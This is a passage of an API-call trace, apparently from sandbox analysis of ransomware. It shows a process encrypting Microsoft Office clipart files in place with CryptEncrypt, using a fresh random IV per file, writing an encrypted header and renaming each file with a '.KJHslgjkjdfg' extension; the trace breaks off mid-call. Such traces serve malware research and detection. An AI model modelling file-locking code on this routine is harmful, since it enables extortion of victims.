WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x35e0, lpOverlapped=0x0) returned 1 [0193.332] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.332] SetEndOfFile (hFile=0x130) returned 1 [0193.335] GetProcessHeap () returned 0x990000 [0193.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.335] GetProcessHeap () returned 0x990000 [0193.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.kjhslgjkjdfg")) returned 1 [0193.336] CloseHandle (hObject=0x130) returned 1 [0193.336] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0193.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.337] GetProcessHeap () returned 0x990000 [0193.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.337] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.337] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.339] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.339] GetProcessHeap () returned 0x990000 [0193.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.339] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.339] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.339] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.339] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.339] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.340] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbcc, lpOverlapped=0x0) returned 1 [0193.340] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0) returned 1 [0193.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.340] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd0, lpOverlapped=0x0) returned 1 [0193.340] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.340] SetEndOfFile (hFile=0x130) returned 1 [0193.342] GetProcessHeap () returned 0x990000 [0193.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.342] GetProcessHeap () returned 0x990000 [0193.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.kjhslgjkjdfg")) returned 1 [0193.343] CloseHandle (hObject=0x130) returned 1 [0193.344] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0193.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.345] GetProcessHeap () returned 0x990000 [0193.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.345] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.345] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.345] GetProcessHeap () returned 0x990000 [0193.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.345] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.347] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.348] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.348] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.348] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1dd0, lpOverlapped=0x0) returned 1 [0193.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1dd0, dwBufLen=0x1dd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1dd0) returned 1 [0193.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.350] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1dd0, lpOverlapped=0x0) returned 1 [0193.350] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.350] SetEndOfFile (hFile=0x130) returned 1 [0193.353] GetProcessHeap () returned 0x990000 [0193.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.353] GetProcessHeap () returned 0x990000 [0193.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.kjhslgjkjdfg")) returned 1 [0193.354] CloseHandle (hObject=0x130) returned 1 [0193.354] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0193.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.356] GetProcessHeap () returned 0x990000 [0193.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.356] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.356] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.359] GetProcessHeap () returned 0x990000 [0193.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.360] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2358, lpOverlapped=0x0) returned 1 [0193.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2360, dwBufLen=0x2360 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2360) returned 1 [0193.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.361] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2360, lpOverlapped=0x0) returned 1 [0193.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.361] SetEndOfFile (hFile=0x130) returned 1 [0193.364] GetProcessHeap () returned 0x990000 [0193.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.364] GetProcessHeap () returned 0x990000 [0193.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.kjhslgjkjdfg")) returned 1 [0193.366] CloseHandle (hObject=0x130) returned 1 [0193.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0193.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.366] GetProcessHeap () returned 0x990000 [0193.366] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.366] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.369] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.369] GetProcessHeap () returned 0x990000 [0193.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.370] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.370] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.370] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.370] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.370] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.370] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3734, lpOverlapped=0x0) returned 1 [0193.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740, dwBufLen=0x3740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740) returned 1 [0193.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.372] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3740, lpOverlapped=0x0) returned 1 [0193.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.372] SetEndOfFile (hFile=0x130) returned 1 [0193.375] GetProcessHeap () returned 0x990000 [0193.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.375] GetProcessHeap () returned 0x990000 [0193.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.kjhslgjkjdfg")) returned 1 [0193.376] CloseHandle (hObject=0x130) returned 1 [0193.376] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0193.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 